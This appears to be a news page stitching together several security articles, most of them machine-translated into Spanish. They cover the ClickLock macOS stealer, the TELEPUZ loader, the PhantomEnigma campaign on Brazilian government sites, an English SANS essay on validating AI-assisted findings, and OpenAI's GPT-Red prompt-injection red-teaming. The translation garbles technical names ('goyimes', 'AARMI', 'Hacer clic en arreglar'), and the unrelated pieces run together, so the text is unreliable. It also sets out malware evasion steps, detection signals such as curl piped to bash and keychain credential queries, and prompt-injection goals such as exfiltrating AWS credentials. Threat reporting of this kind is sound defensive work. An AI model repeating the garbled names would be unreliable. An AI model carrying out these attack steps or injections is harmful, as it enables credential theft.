Ladrón de ClickLocksun nuevo ladrón de información de macOS, responde a la negativa de una víctima eliminando sus aplicaciones en bucle hasta que entreguen la contraseña de inicio de sesión. Llega como un comando pegado en la Terminal, solicita la contraseña detrás de un cuadro de diálogo falso del sistema y, cuando la víctima cancela, instala dos LaunchAgents y sale silenciosamente.
En el siguiente inicio de sesión, Finder, Dock, Spotlight, Terminal, Activity Monitor y los principales navegadores comienzan a morir cada 210 milisegundos, durante hasta 83 horas, dejando un cuadro de contraseña en un escritorio inactivo. Escríbalo y la máquina entregará el llavero, las credenciales del navegador y las billeteras criptográficas.
Grupo IB telemetria cuenta al menos 100 objetivos en 33 países desde mayo, más de la mitad de ellos en Europa. Por la estructura del código, sus analistas suponen que el malware aún está en desarrollo. Subido a VirusTotal el 9 de junio, el guión del orquestador tenía cero detecciones allí cuando el Grupo IB lo analizó.
Y los analistas nunca encontraron la puerta de entrada. Tienen toda la cadena de carga útil y ni una sola de las páginas de señuelos. La lista del COI incluye tres hosts de carga útil comprometidos y ningún dominio atractivo: el diseño de la página de destino, los dominios que la sirven y todo lo que dirige el tráfico hacia ellos no están confirmados.
Una ejecución completa deja al operador con la contraseña de inicio de sesión validada de macOS, la clave AES de almacenamiento seguro de Chrome y un ZIP con las credenciales del navegador y las cookies, el almacenamiento de la extensión de la billetera criptográfica, los archivos de la billetera de escritorio, las bóvedas del administrador de contraseñas, el llavero, el historial del shell y las credenciales guardadas del servidor de FileZilla.
La clave de Almacenamiento Seguro es la que perdura. Cifra las contraseñas y cookies guardadas de Chrome en el disco, por lo que Login Data y Cookies se descifran fuera de línea, en la máquina del atacante, cada vez que acceden a ella. El consejo de Group-IB para cualquiera que haya ejecutado esto: revocar las sesiones activas del navegador, tratar todas las contraseñas, cookies y claves de billetera guardadas como desaparecidas y cambiarlas.
Cumpla ahora o cumpla en el próximo inicio de sesión
El usuario que se niega no es un caso extremo. Para ellos es el diseño. Cancele el primer diálogo y el script desaparecerá. com.authirity.plist y com.chromer.plist en ~/Library/LaunchAgents/luego se va.
El primero activa el bucle de interrupción de 210 milisegundos hasta que llega una contraseña. El segundo lanza su propio bucle de interrupción en intervalos de 0,2 segundos durante hasta 3.000.000 de segundos, aproximadamente 34,7 días, mientras que un proceso en segundo plano consulta el llavero para la clave de almacenamiento seguro de Chrome cada medio segundo.
Esa consulta genera un mensaje real de macOS y el bucle mantiene el escritorio como rehén hasta que la víctima lo aprueba. Activity Monitor y Terminal están en ambas listas de eliminación. Un tercer bucle desactiva NotificationCenter durante seis horas, por lo que no se genera ninguna advertencia de Gatekeeper. Si Terminal carece de acceso total al disco, el orquestador abre Configuración del sistema en el panel derecho y guía a la víctima para otorgarlo.
La parte delantera es Hacer clic en arreglar. Group-IB evalúa esto con gran confianza y nunca lo ha visto. El guión toma un RAY_ID como primer argumento y se abre con un banner CAPTCHA falso de Cloudflare sobre una barra de progreso que recorre doce líneas de estado en diez segundos. Tampoco nada. Existen para tranquilizar a alguien que acaba de pegar un comando en una terminal.
Debajo, script.sh desactiva las interrupciones del teclado, oculta el cursor y extrae cuatro cargas útiles de dos sitios comprometidos. Dos tubos directos al bash. Dos aterrizan en un lugar escondido. $HOME/.cacheb/. La pregunta suave es una osascript cuadro de diálogo que lleva un ícono de Apple descargado y el nombre de usuario real de la víctima, y todo lo que se escribe se compara con dscl /Local/Default -authonly primero, por lo que solo vale la pena enviar una contraseña que funcione.
Casi nada de eso es nuevo. microsoft documentado lo mismo dscl validación en SHub Stealer en mayo, junto con AMOS y MacSync en la misma ola de campañas macOS ClickFix. La persistencia de Telegram exfil y LaunchAgent son repetitivas.
La puerta trasera, goyimes aproximadamente el 80 por ciento una copia del script de implementación pública para GSocketun conjunto de herramientas de creación de túneles de código abierto de The Hacker’s Choice. Sus autores plantean el gs-netcat componente como una puerta trasera inversa cifrada que no necesita un servidor C2 propio. En su lugar, monta un relevo.
Group-IB rastreó esta copia hasta un repetidor de operador en gsnc[.]eu:67con el binario extraído del propio gsocket.io. Las cargas útiles del ladrón se encuentran en tres dominios comprometidos con reputaciones limpias, uno de ellos un sitio de WordPress pirateado, y el botín sale a través de tres robots de Telegram. El Grupo IB no observó ninguna infraestructura dedicada de mando y control.
En macOS, el binario aparece como iCloud en ~/Library/Application Support/iCloudsync y el proceso se ejecuta como SystemUIServerluna letra menos que la real.
Apple ya intentó cerrar esta puerta
macOS 26.4 se envió a finales de marzo. Advierte cuando Terminal ve actividad de pegado sospechosa y bloquea directamente cualquier cosa que reconozca como malware conocido, una mitigación que Microsoft señala como una respuesta directa a la entrega de ClickFix.
La propia documentación de Apple. muestra cuánto espacio queda: la advertencia solo se activa si no usa Terminal con regularidad y se envía con un botón Pegar de todos modos. El bloque duro necesita que macOS ya conozca el malware.
Dos campañas pasaron por esa sala en cuestión de semanas, en direcciones opuestas. Laboratorios de amenazas de Jamf documentado en abril que evita la pasta por completo, utilizando un applescript:// URL para abrir Script Editor con la carga útil precargada, para que la verificación nunca se active. Thijs Xhaflaire, de Jamf, escribió que «cuando una puerta se cierra, los atacantes encuentran otra». ClickLock es el otro. En su lugar, mantuvo la pasta y diseñó alrededor de la persona.
El ciclo de coerción es la única parte que no tiene argumento de cobertura. Group-IB no cubre en el subsegundo pkill y killall ataca Finder, Dock, SystemUIServer y NotificationCenter: «este comportamiento es exclusivo del malware de interacción forzada y no tiene un caso de uso legítimo».
El resto del conjunto de señales:
security find-generic-password llamado desde un script de shell en lugar de un navegador
osascript generar cuadros de diálogo de contraseña con íconos extraídos de /tmp/
Lecturas masivas de directorios de perfiles del navegador seguidas de tráfico a api.telegram.org
curl canalizado a bash donde termina la URL .jpg, .txt o .css
Creación de LaunchAgent en ~/Library/LaunchAgents/ por un proceso de cáscara, emparejado con launchctl load
Si una Mac comienza a eliminar sus propias aplicaciones y deja un cuadro de contraseña en la pantalla, no escriba la contraseña. Ninguna página de verificación necesita tu Terminal. La verificación de Cloudflare se ejecuta en el navegador, que es su objetivo.
Group-IB dice que se mantenga presionado el botón de encendido hasta que la máquina se apague, luego se inicie en modo seguro, y su paso de cambio al inicio es el Sólo procedimiento Intel. En Apple Silicon, mantenga presionado el botón de encendido hasta que aparezca «Cargando opciones de inicio», seleccione el volumen, luego mantenga presionada la tecla Mayús y haga clic en Continuar en modo seguro.
La limpieza es desigual. Los módulos ladrones descargan sus propios LaunchAgents y falsifican sus marcas de tiempo. ~/Movies para romper el análisis de la línea de tiempo y eliminarse a sí mismos. goyim no lo hace. Siéntese en el bucle, escriba la contraseña, observe cómo regresa el escritorio y lo que queda es una máquina que se ve bien con un shell inverso, ejecutándose como SystemUIServerl fuera de ~/Library/Application Support/iCloudsync.
Los operadores de ClickLock se lanzaron en mayo, un mes después de la vida de la advertencia, y se crearon para pegar. Lo que el informe no dice es si alguno de los objetivos del Grupo IB lo vio alguna vez.
Hacker News ha solicitado a Group-IB el desglose de la versión de macOS detrás de esos objetivos y actualizará esta historia con cualquier respuesta.
Los investigadores de ciberseguridad han llamado la atención sobre un nuevo malware modular llamado TELEPUZ que se ha estado propagando a través de sitios web infectados con señuelos ClickFix desde finales de abril de 2026.
«El malware tiene todas las funciones, es ligero y modular», afirma Cyril François, investigador de Elastic Security Labs. dicho en un informe técnico. «Si bien el número de C2 [command-and-control] dominios es actualmente pequeño, el volumen diario de compilaciones cargadas en VirusTotal y el rápido ritmo de las actualizaciones indican un desarrollo activo y probablemente un mayor crecimiento».
La divulgación lo convierte en el segundo nuevo actor de amenazas después de SCMBANKER que se propaga a través de Hacer clic en arreglara ataque generalizado de ingeniería social que engaña a los usuarios para que ejecuten manualmente comandos maliciosos disfrazándolos de correcciones inocentes para errores falsos del navegador, actualizaciones de software o verificaciones CAPTCHA.
La técnica se basa en un enfoque llamado secuestro del portapapeles. Debido a que las páginas web que utilizan ClickFix inyectan scripts o comandos maliciosos en el portapapeles de una víctima potencial y brindan instrucciones para pegarlos y ejecutarlos, también se lo conoce como pastejacking.
La cadena de ataque ClickFix vinculada a TELEPUZ da como resultado la ejecución de PowerShell, que descarga una carga útil de segunda etapa desde una URL remota y la ejecuta. La carga útil es una variante Go de Vidar Stealer, que se sabe que recopila datos confidenciales de hosts infectados e implementa malware secundario, en este caso un binario stager que es responsable de iniciar TELEPUZ («telepuz.dll») usando «rundll32.exe». Tanto el binario stager como el DLL principal se recuperan de «hurgadatour[.]dominio «tienda».
Escrito en C, TELEPUZ es liviano y modular, y muestra signos de que fue desarrollado por un desarrollador en solitario o un equipo muy pequeño con experiencia en codificación. Un volumen constante de envíos diarios de VirusTotal asociados con la amenaza sugiere que probablemente se ofrezca bajo un modelo de malware como servicio (MaaS).
TELEPUZ también incorpora una serie de técnicas de ofuscación, como instrucciones basura que no tienen ningún propósito funcional, importar hash de nombre para resolver importaciones, cifrado de cadenas y llamadas indirectas al sistema, para frustrar los esfuerzos de análisis.
Luego procede a realizar comprobaciones anti-VM y de geolocalización verificando las limitaciones de hardware, como si la máquina tiene menos de dos CPU, menos de 2 GB de memoria o espacio en disco insuficiente, y garantiza que el identificador local del sistema (LCID) no esté entre una lista codificada de países de la Comunidad de Estados Independientes (CEI).
Además de eso, el malware compara el nombre de usuario actual y el nombre de la computadora con una lista codificada de identificadores de investigación de malware y entornos aislados comunes. El objetivo de estas comprobaciones es finalizar la ejecución inmediatamente si se detecta un entorno virtualizado o de espacio aislado, o una ubicación geográfica no autorizada.
Una vez superadas todas las comprobaciones, TELEPUZ toma medidas para desactivar el seguimiento de seguridad mediante desenganchandoNTDLLdesactivando la interfaz de escaneo antimalware (AARMI) y seguimiento de eventos para Windows (ETW), y eliminar terceros Notificación Dlldevoluciones de llamadaque permiten que una aplicación reciba alertas cuando se carga o descarga una DLL.
La rutina de evasión de defensa va seguida de comprobaciones para detectar la presencia de depuradores y bloquearlos. Luego recupera el ID del proceso principal y valida el nombre del proceso principal con una lista de ejecutores conocidos, como «rundll32.exe» y «svchost.exe». En la etapa final, genera un identificador de víctima único que se obtiene concatenando el número de serie del hardware, el nombre de la computadora y la fecha de instalación del sistema operativo.
«Después de una identificación exitosa de la sesión, el malware genera dos subprocesos simultáneos: uno dedicado a elevarse e instalar el malware como un servicio, y el otro para iniciar el ciclo de comunicación C2», dijo François. «El hilo de instalación comienza elevándose a administrador utilizando la técnica de apodo de elevación COM».
«Al alcanzar la elevación y dependiendo de la configuración, TELEPUZ intenta obtener el privilegio del SISTEMA robando el token del primer proceso encontrado con uno de los siguientes nombres: spoolsv.exe, msdtc.exe, WmiPrvSE.exe, svchost.exe. Luego, se registra como un servicio creando las claves de registro necesarias para indicarle a Windows que cargue el malware dentro de una nueva instancia de svchost.exe».
Al mismo tiempo, el malware intenta establecer contacto con su servidor C2 hasta 10 veces. Si estos intentos fracasan, TELEPUZ intenta recuperar la dirección C2 alternativa utilizando cuatro métodos diferentes:
Al extraer una URL cifrada del perfil de Telegram («t[.]me/chanadarkpart») descripción. El canal fue creado el 28 de abril de 2026.
Al extraer una URL cifrada de un Perfil de la comunidad Steam. La URL apunta a la misma dirección C2 que se encuentra en el canal de Telegram.
Ejecutando una consulta DNS para el código base del código de dominio[.]com, extrae y descifra la dirección C2 alternativa.
TELEPUZ utiliza el servidor C2 para establecer comunicación mediante WebSockets con TLS opcional y espera instrucciones del operador, lo que le permite realizar una amplia gama de acciones maliciosas, incluida la enumeración de archivos, operaciones de archivos, registro de pulsaciones de teclas, ejecución de comandos, gestión de procesos, captura de pantalla, inyección web y extracción de cookies para navegadores basados en Chromium. También puede descargar y ejecutar ejecutables y módulos DLL.
El componente del inyector web también puede comunicarse directamente con el servidor C2 para recibir y ejecutar comandos dirigidos a navegadores basados en Chromium y Mozilla Firefox. Los comandos permiten desviar cookies y ejecutar JavaScript arbitrario en los navegadores aprovechando el protocolo Chrome DevTools Protocol (CDP) y el protocolo WebDriver BiDi.
«Su número limitado sugiere que lo que pensamos es un MaaS todavía está en sus primeras etapas, a pesar del gran volumen de construcciones generadas», dijo Elastic. «Si bien los dominios provisionales están protegidos por Cloudflare, ocultando sus verdaderas ubicaciones de alojamiento, los servidores C2 han sido identificados como sitios web comprometidos ubicados en Brasil e India, respectivamente».
Más de 20 sitios web del gobierno brasileño fueron secuestrados y convertidos en canales de distribución de malware en una actividad activa. FantasmaEnigma campaña descubierta por CUALQUIER EJECUCIÓNun proveedor líder de análisis interactivo de malware y soluciones de inteligencia de amenazas.
La investigación reveló un comportamiento de puerta trasera no documentado anteriormente, relaciones de infraestructura ocultas y múltiples armas de ataque detrás de una campaña que pone en riesgo a bancos y agencias públicas.
Al conectar cientos de sesiones de pruebas aparentemente no relacionadas, los investigadores de ANY.RUN expusieron el alcance más amplio de la operación y mostraron cómo los enlaces confiables .gov.br y los correos electrónicos autenticados ayudaron a que la actividad permaneciera oculta.
La infraestructura gubernamental confiable se convirtió en el atractivo
El ataque comenzó con documentos policiales falsos presentados como avisos oficiales del “Ofício Polícia Civil” o de la “Procuração Digital”. Algunos contenían códigos QR, mientras que otros dirigían a los destinatarios a enlaces diseñados para parecerse a recursos gubernamentales legítimos.
Documento falso con temática policial analizado dentro del sandbox de ANY.RUN para una visibilidad completa del ataque PhantomEnigma
En varios casos, los correos electrónicos se enviaron a través de buzones de correo comprometidos y pasaron las comprobaciones SPF, DKIM y DMARC. Eso dio a los mensajes una apariencia de legitimidad más fuerte que los correos electrónicos de phishing falsificados ordinarios.
Luego, las víctimas eran redirigidas a través de hosts .gov.br comprometidos o dominios similares con temas policiales antes de llegar al instalador malicioso. Los sistemas gubernamentales se utilizaron como infraestructura de entrega confiable, no necesariamente como objetivos finales de la campaña.
Anfitriones gubernamentales observados
Entre los sistemas comprometidos observados durante la investigación se encuentran timon.ma.gov[.]br, loginam.sesp.es.gov[.]br (seguridad pública estatal), aplicacao.cbm.mt.gov[.]br (departamento de bomberos), prodoc.ap.gov[.]br, y otros.
Consulta de búsqueda de TI que involucra hosts gubernamentales comprometidos
Estos portales legítimos municipales, de seguridad pública y judiciales se utilizaron en diferentes etapas de la cadena de entrega. Varios también aparecieron en más de un brazo de ataque de PhantomEnigma, lo que ayudó a los investigadores a conectar actividades que inicialmente no parecían relacionadas.
La evolución de PhantomEnigma: dos caminos hacia una detección más difícil
Cronología de la actividad maliciosa de PhantomEnigma
La línea de tiempo muestra una operación que evoluciona a lo largo de dos caminos principales:
Entrega: PhantomEnigma pasó de una actividad centrada en la banca en 2025 a abusar de sitios web y cuentas de correo electrónico .gov.br comprometidos en 2026. Esto le dio a la campaña una ruta más confiable hacia las víctimas sin confirmar un nuevo grupo objetivo.
Arsenal: El malware evolucionó desde un banco de extensiones de navegador hasta una puerta trasera modular Inno/Node.js capaz de ejecutar JavaScript y entregar cargas útiles adicionales.
Para los equipos de seguridad, esta combinación crea una grave brecha de visibilidad. La infraestructura confiable reduce las sospechas, las cargas útiles modulares pueden cambiar después de la infección y los dominios C2 rotativos rápidamente hacen que las listas de bloqueo estáticas queden obsoletas. El análisis de comportamiento y la búsqueda continua de amenazas brindan una cobertura más confiable a medida que evoluciona la campaña.
Del correo electrónico confiable al compromiso total: la cadena de ataque PhantomEnigma
El proceso de análisis de PhantomEnigma dentro del sandbox interactivo
Una vez que una víctima interactuaba con el señuelo, la campaña avanzaba a través de una cadena de infección de varias etapas:
Correo electrónico de phishing: Un señuelo falso con temática policial o documento oficial llega a la víctima.
Infraestructura confiable: El enlace redirige a través de un servidor gubernamental comprometido o un dominio similar con temática policial.
Instalador malicioso: Un Inno Setup, MSI u otro instalador inicia la infección.
Aplicación de electrones parcheada: El software legítimo carga una puerta trasera index.js maliciosa.
Activación de puerta trasera: El malware recopila datos del sistema, establece persistencia y se conecta a la infraestructura C2 rotativa.
Entrega de segunda etapa: La puerta trasera ejecuta JavaScript o entrega ladrones, cargadores, software RMM y otro malware.
Impacto empresarial: La infección puede provocar el compromiso de las credenciales, el acceso no autorizado, el fraude, la exposición de los datos y la interrupción operativa.
Lo que los investigadores encontraron dentro de la puerta trasera de PhantomEnigma
Las sesiones de sandbox expusieron más que un simple descargador. Escondido dentro de un Boostnote parcheado y otras aplicaciones había una puerta trasera modular index.js creada para identificar máquinas infectadas, mantener el acceso y entregar diferentes cargas útiles bajo demanda.
Una vez activada, la puerta trasera podría:
Recopile el nombre de la computadora, el nombre de usuario y los detalles del sistema de la víctima.
Cree una ID de máquina persistente y lea una etiqueta de campaña almacenada junto al instalador.
Establezca persistencia a través de la configuración de inicio de sesión
Busque nuevos comandos cada 180 segundos
Ejecute JavaScript directamente a través de eval()
Descargue y ejecute cargas útiles ejecutables
Comunicarse a través de múltiples formatos de baliza en infraestructura rotativa
Este diseño modular permite al operador cambiar la carga útil final sin reconstruir toda la cadena de infección. Un sistema inicialmente expuesto al mismo instalador podría recibir más tarde un ladrón, un cargador, una herramienta de administración remota u otro ejecutable, lo que dificulta tanto la detección como la contención.
Una advertencia para bancos y agencias públicas
PhantomEnigma muestra cómo los atacantes pueden convertir una infraestructura confiable en una ventaja de detección. Un dominio gubernamental legítimo, un correo electrónico autenticado o un veredicto de archivo limpio pueden reducir las sospechas incluso cuando la cadena de infección ya está activa.
Para los bancos y las organizaciones del sector público, el riesgo se extiende más allá de un punto final comprometido. Las credenciales robadas y el acceso persistente por puerta trasera pueden exponer los sistemas internos, los datos confidenciales y las operaciones financieras, mientras que las alertas fragmentadas retrasan la contención.
Los equipos de seguridad deben brindar a los empleados una forma segura de denunciar mensajes sospechosos que parezcan oficiales e investigarlos más allá del veredicto inicial. Detectar temprano el señuelo confiable puede evitar el robo de credenciales, la entrega de carga útil adicional y un incidente operativo más amplio.
Obtenga IOC de PhantomEnigma, hallazgos de infraestructura y orientación de detección para fortalecer la búsqueda y respuesta a amenazas.
¿Encontró interesante este artículo? Este artículo es una contribución de uno de nuestros valiosos socios. Síguenos en noticias de google, Gorjeo y LinkedIn para leer más contenido exclusivo que publicamos.
Artificial intelligence (AI) is changing offensive security, but it has not changed the standard that matters most: a finding has to be proven before it becomes useful. AI-assisted tools can read code quickly, generate payloads, summarize attack surfaces, explain unfamiliar APIs, and run repetitive testing workflows at impressive speed. That is a real advantage for security teams. It also creates a new kind of pressure, because the industry can now produce more vulnerability-looking output than ever before.
The problem is that output is not the same as evidence. A generated report can sound polished, include a severity rating, and even contain a proof-of-concept that looks reasonable at first glance. None of that proves the bug exists in the deployed environment. None of it proves exploitability, impact, or risk. In offensive testing, the hard part has never been writing something that sounds like a vulnerability report. The hard part is demonstrating what is actually true.
That distinction is becoming more important as AI becomes more common in security workflows. AI can accelerate discovery, but validation still depends on knowledge: knowledge of systems, protocols, application behavior, identity boundaries, memory corruption, business logic, and all the implementation details that separate a plausible theory from a real exploit. The future of offensive security will not belong to people who merely produce the largest number of findings. It will belong to people and teams that can prove what matters.
The Industry Is Already Seeing the Cost of Shallow AI Output
The warning signs are already visible. Bug bounty programs and maintainers have been dealing with a surge of low-quality AI-generated reports, often submitted with thin evidence, templated language, and little meaningful validation. Bugcrowd publicly addressed this pattern in its policy changes around AI-generated submissions, describing a class of reports that looked polished but created unnecessary triage burden rather than a useful security signal.
This is not just a bug bounty problem. It is a preview of what happens anywhere AI is used to create security findings without enough human judgment behind them. If a tool can generate a convincing write-up in seconds, organizations will receive more reports, more alerts, and more claims. Unless those claims are validated, the result is not better security. It is a larger queue.
Security teams are already overloaded with scanner output, dependency alerts, cloud configuration issues, and compliance findings. Adding AI-generated speculation on top of that does not help unless the quality bar goes up at the same time. A finding should answer basic questions clearly: what happened, how it was reproduced, what the attacker controls, which boundary was crossed, and what the demonstrated impact is. Without that, the report may be interesting, but it is not ready to drive engineering action.
“Looks Vulnerable” Is Not the Same as Vulnerable
One of the most dangerous habits in offensive testing is confusing a suspicious pattern with a validated vulnerability. AI can make that habit worse because it is good at explaining why something might be bad. A model may see user input near a database query and describe SQL injection. It may see a URL fetch and suggest SSRF. It may see a dangerous API in a code path and describe remote code execution. Sometimes the model is pointing at a real issue. Other times, it is missing the conditions that decide whether the issue matters.
A tester still has to prove reachability. Does the attacker-controlled input actually reach the dangerous operation? Is authentication required? Is authorization enforced somewhere else? Is the vulnerable feature enabled? Does the production configuration expose the code path? Does the application normalize, encode, sanitize, or reject the payload before it matters? Does the issue cross a trust boundary or merely affect an internal-only path with no practical security impact?
These questions are where real offensive security begins. They are also where shallow automation often breaks down. AI can generate hypotheses quickly, but hypotheses are not findings. A good tester treats AI output as a lead to investigate, not a conclusion to forward.
Why Knowledge Still Matters
The best offensive security practitioners are valuable because they understand systems, not because they can run tools. Tools have always been part of the job, but tool output has never been enough. A web scanner may identify a parameter that reflects input. A static analyzer may flag a dangerous function. A fuzzer may produce a crash. A language model may describe a plausible attack path. In every case, someone still needs to understand what the signal means.
That understanding is usually earned through repetition. Senior researchers spent years doing the work manually: tracing requests, reading source, reverse engineering binaries, debugging crashes, writing exploit code, breaking authentication flows, and learning how real systems fail. That process builds memory and instinct. It teaches a practitioner when a finding is probably real, when a tool is being misled, and when a small bug may become serious if chained with something else.
This kind of knowledge is hard to fake. It shows up in the questions a tester asks. It shows up in the way a report is written. It shows up in whether the tester can explain the exploit path without hiding behind generic language. Most importantly, it shows up when the first attempt fails. A person who understands the system can adapt. A person who only accepts the tool’s explanation is often stuck.
AI Can Make Good Testers Faster, but Can Also Make People Rusty
There is a real concern among experienced practitioners that overdependence on AI can make people rusty. This is not an anti-AI argument. It is a human learning argument. When a tool answers every question instantly, it becomes tempting to stop remembering details. When it writes the first version of every script, it becomes tempting to stop practicing. When it explains every code path, payload, crash, and error message, it becomes tempting to stop building the mental model yourself.
That convenience has a cost. Offensive security rewards depth, pattern recognition, and technical recall. The hardest findings often come from recognizing that a behavior in one area violates an assumption somewhere else. They come from knowing how parsers, frameworks, allocators, identity providers, and authorization systems have failed before. They come from seeing the connection between small details that do not look important in isolation.
If practitioners stop exercising those muscles, they lose some of the very skill that makes them effective. The risk is not that AI makes security professionals useless. The risk is that people let AI do too much of the thinking too early, then mistake fluency for competence. Prompting is useful, but it is not a replacement for judgment.
Most AI-Assisted Testing Still Uses Familiar Techniques
A lot of AI security marketing can make it sound as if machine learning is discovering vulnerabilities through some entirely new kind of reasoning. Sometimes models do surface patterns a human might miss, especially across large and unfamiliar codebases. That is useful. But in many practical offensive testing workflows, the underlying techniques are still familiar: enumerate endpoints, inspect parameters, trace data flow, compare authenticated and unauthenticated behavior, generate payloads, run fuzzers, observe responses, and determine whether the application state changed in a security-relevant way.
In other words, many AI-enabled systems are orchestrating known testing techniques at scale. They can plan, execute, observe, and iterate faster than a human doing everything by hand. That is a meaningful improvement, but it does not remove the need to understand the result. If the system reports an authorization flaw, someone still has to know whether the object relationship matters. If it reports a memory corruption bug, someone still has to reason about reachability, crash context, mitigations, and exploitability. If it reports an API weakness, someone still has to determine whether the observed behavior violates the application’s trust model.
The most valuable use of AI is not to replace those decisions. It is to reduce the mechanical work around them so skilled testers can spend more time on analysis and validation.
What Good Validation Looks Like
A validated offensive finding should be specific, reproducible, and tied to impact. It should not require the reader to guess why the issue matters. The report should make the exploit path clear enough that an engineer can reproduce it and a security leader can understand the risk. That does not mean every issue needs a dramatic exploit chain or a movie-style proof-of-concept. It means the evidence should support the claim.
For AI-assisted testing, teams should draw a sharp line between leads and validated findings. A lead is something worth investigating. A validated finding is something that has been tested and proven. Mixing those categories creates confusion and wastes time. A good workflow can absolutely use AI to generate leads, but the promotion from lead to finding should require evidence.
Practical Validation Checklist
A practical validation standard does not need to be complicated. Before a lead becomes a reported finding, the tester should be able to answer questions like these:
What specific behavior was observed, and where did it occur?
What attacker-controlled input, identity, or state was required?
What security boundary was crossed, such as authentication, authorization, tenancy, trust, privilege, or memory safety?
What exact steps reproduce the behavior in the target environment?
What is the demonstrated impact, not just the theoretical worst case?
What evidence shows that the issue is reachable and relevant in the deployed configuration?
What would a fix need to change, and how can the team confirm that the fix works?
This kind of checklist helps keep AI in the right role. It can help produce candidates, suggest test ideas, and speed up reproduction. It should not be allowed to skip the step where a human verifies the claim against reality.
The Human Role Is Still Technical
One of the underappreciated realities of AI security platforms is that human validation remains deeply important behind the scenes. That should not be surprising. Offensive security has always required judgment, and judgment is especially important when findings become consequential. The person reviewing the evidence has to decide whether the exploit path is realistic, whether the environment matters, whether the issue is isolated or chainable, and whether the severity claim is justified.
This is not just an administrative quality-control function. It is technical work. Authorization flaws often depend on business logic and object relationships. API vulnerabilities may require understanding how roles, tenants, and resources interact. Memory corruption requires reasoning about crash state, control, mitigations, and exploit primitives. Cloud findings depend heavily on identity, trust policies, and service-specific behavior. AI can assist with all of this, but it does not remove the need for someone who knows what they are looking at.
The higher the impact of a finding, the more important the human role becomes. Organizations do not want a confident guess when the result may affect engineering priorities, customer trust, compliance obligations, or executive risk decisions. They need proof.
Avoiding Exaggerated Impact
AI-generated reports can also overstate severity. Reflected input is not cross-site scripting until script execution is demonstrated. A URL fetch is not meaningful SSRF until the tester can show access to something the attacker should not reach. A dangerous function is not remote code execution unless reachability, control, and execution can be proven. These mistakes are not just embarrassing; they erode trust between security teams and engineering teams. It happens quite often that a finding will get a rating of CVSS 9.8, when in fact it might not even be a finding at all.
Experienced researchers are careful with impact because they know it has to be earned. A bug in an admin-only feature does not carry the same risk as an unauthenticated internet-facing bug. A crash may be a denial of service, a path to code execution, or simply an unexploitable reliability issue, depending on the context. A missing check in one code path may be serious, or it may be protected by a control somewhere else. The only way to know is to validate.
Good validation prevents both underreporting and overreporting. It helps testers avoid crying wolf, but it also gives them the evidence needed to make a strong case when the issue is genuinely serious. Tenable also recently brought up challenges in this space, including how there are often critical contextual combinations that are also missed.
How Teams Should Use AI Without Losing Skill
The right goal is not to avoid AI. The technology is too useful for that. The right goal is to use it in a way that strengthens offensive testing instead of weakening the people doing it. AI should help testers move faster, explore more hypotheses, and reduce repetitive work. It should not become a substitute for learning how systems behave.
Security leaders can encourage that balance by setting expectations around evidence and training. Junior testers should still learn fundamentals before they outsource too much of the process. Senior testers should use AI as a force multiplier, not as an authority. Teams should review not only whether a finding was generated, but whether the tester can explain and reproduce it. That explanation is where real understanding becomes visible.
A healthy AI-assisted offensive testing program should reward validated impact over volume. It should measure signal quality, not just finding the count. It should preserve manual practice in areas like request manipulation, code review, debugging, exploit development, threat modeling, and impact analysis. It should also use AI as a teaching tool: when the model suggests an issue, the tester should ask why, test the claim, and learn from the result.
The Standard Has Not Changed: Prove It
AI will continue to improve. Agents will become better at navigating applications, reading code, generating payloads, and documenting results. Some of this progress will be genuinely impressive, and security teams should take advantage of it. But offensive security cannot become a volume game where every plausible theory becomes someone else’s triage burden.
The core standard of the field is still simple: prove it. Prove the bug exists. Prove the attacker can reach it. Prove the impact. Prove the business risk. Prove the fix works. AI does not lower that standard. If anything, it raises the importance of enforcing it, because convincing but unproven output is now easier to produce than ever.
The best researchers and teams of the next decade will not be the ones that reject AI. They will be the ones who combine automation with technical judgment, using the machine to accelerate the work without handing it the final say. Knowing when to stop, inspect, test, and think will remain a competitive advantage. Knowledge still matters because validation still matters, and in offensive security, validation is the difference between noise and truth.
Note:This article has been expertly written and contributed by Stephen Sims, SANS Fellow.
Found this article interesting? This article is a contributed piece from one of our valued partners. Follow us on Google News, Twitter and LinkedIn to read more exclusive content we post.
OpenAI ha revelado detalles de GPT-Rojoun modelo interno automatizado de equipo rojo que escala el descubrimiento rápido de vulnerabilidades de inyección con el objetivo de solucionar problemas antes de que las herramientas se implementen ampliamente.
«GPT-Red es un equipo rojo fuerte y nuestros modelos anteriores son muy vulnerables a sus rápidos ataques de inyección», la empresa de inteligencia artificial (IA) dicho. «Utilizamos GPT-Red para entrenar adversariamente a GPT-5.6, haciéndolo mucho más robusto para provocar inyecciones».
El modelo funciona igual que un miembro del equipo rojo humano. Envía un mensaje, monitorea cómo responde un modelo GPT y recorre su camino hacia un objetivo malicioso, como cargar datos confidenciales a un servidor externo.
Este avance se produce cuando las inyecciones rápidas adversas siguen siendo una espina persistente en la carne de los grandes modelos de lenguaje, a los que se puede engañar para que ejecuten una instrucción cuidadosamente elaborada que puede producir consecuencias indeseables.
A medida que los sistemas agentes continúan vinculados a fuentes de datos de terceros a través de navegadores web, aplicaciones conectadas, archivos locales y otras herramientas, también han ampliado la superficie de ataque y presentado más vías para que los malos actores influyan en el resultado de un modelo al incorporar mensajes maliciosos dentro de contenido aparentemente inofensivo que se alimenta como entrada. Esto puede tomar la forma de un correo electrónico, una página web, una respuesta de herramienta o un repositorio de código.
GPT-Red tiene como objetivo aumentar el equipo rojo humano a escala, haciendo posible identificar nuevos modos de falla, mejorar la solidez y construir contramedidas adecuadas antes de que se puedan implementar los modelos.
«De manera similar a cómo los miembros del equipo rojo humano elaboran ataques, el modelo trabaja hacia un objetivo enviando un mensaje, observando cómo responden los modelos GPT e iterando», dijo OpenAI.
Al integrar directamente GPT-Red en el proceso de capacitación de sus modelos de producción, OpenAI dijo que GPT-5.6 Sol es su modelo más robusto para inyecciones inmediatas hasta la fecha, logrando 6 veces menos fallas en comparación con el punto de referencia de inyección directa directa en comparación con GPT-5.5, su modelo de frontera de cuatro meses antes.
Algunos de los ejemplos de conversaciones inyectadas con indicaciones probadas como parte del proceso incluyen:
Exfiltración de directorio interno
Instrucciones de pago fraudulentas
Exfiltración de credenciales de Amazon Web Services (AWS)
Deshabilitar la autenticación de dos factores (2FA)
Carga del archivo de credenciales
Inyección de script externo
Reenvío de claves API
Scripts de raspado maliciosos
«GPT-Red se entrena mediante el aprendizaje por refuerzo de juego autónomo, donde el modelo y una colección de diversos LLM defensores se entrenan simultáneamente en un amplio conjunto de escenarios de equipos rojos», explicó OpenAI. «GPT-Red es recompensado por provocar un fallo válido, como una inyección rápida exitosa, mientras que los modelos defensores son recompensados por resistir el ataque y completar sus tareas originales».
